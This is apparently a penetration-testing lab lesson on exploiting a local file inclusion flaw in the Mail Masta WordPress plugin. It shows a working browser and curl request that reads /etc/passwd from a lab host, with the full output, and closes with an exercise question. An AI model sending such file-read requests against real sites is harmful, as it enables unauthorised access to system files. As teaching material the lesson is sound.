

Exploiting a Vulnerable Plugin

Leveraging WPScan Results

The report generated by WPScan tells us that the website uses an older version of WordPress (5.3.2) and an outdated theme called **Twenty Twenty**. WPScan identified two vulnerable plugins, **Mail Masta 1.8** and **Google Review Slider**. This version of the **Mail Masta** plugin is known to be vulnerable to SQL Injection as well as Local File Inclusion (LFI). The report output also contains URLs to PoCs, which provide information on how to exploit these vulnerabilities.

Let's verify if the LFI can be exploited based on this exploit-db [report](#). The exploit states that any unauthenticated user can read local files through the path: `/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd`.

LFI using Browser

view source: http://blog.inlanefreight.com/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd

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1 root:x:0:0:root:/root:/bin/bash
2 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
3 bin:x:2:2:bin:/bin:/usr/sbin/nologin
4 sys:x:3:3:sys:/dev:/usr/sbin/nologin
5 sync:x:4:65534:sync:/bin:/bin/sync
6 games:x:5:60:games:/usr/games:/usr/sbin/nologin
7 man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
8 lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
9 mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
10 news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
11 uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
12 proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
13 www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
14 backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
15 list:x:38:38:Mail List Manager:/var/list:/usr/sbin/nologin
16 irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
17 gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
18 nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
19 _apt:x:100:65534::/nonexistent:/bin/false
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```

We can also validate this vulnerability using cURL on the command line.

LFI using cURL

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MisaelMacias@htb[/ntb]$ curl http://blog.inlanefreight.com/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mail List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/bin/false
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We have successfully validated the vulnerability using the data generated in the **WPScan** report. Now let's try it out ourselves!

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Pwnbox Location

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Start Instance

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Questions

Answer the question(s) below to complete this Section and earn cubes!



Cheat Sheet

Target(s): [Click here to spawn the target system!](#)

+ 1 Use the same LFI vulnerability against your target and read the contents of the `/etc/passwd` file. Locate the only non-root user on the system with a login shell.

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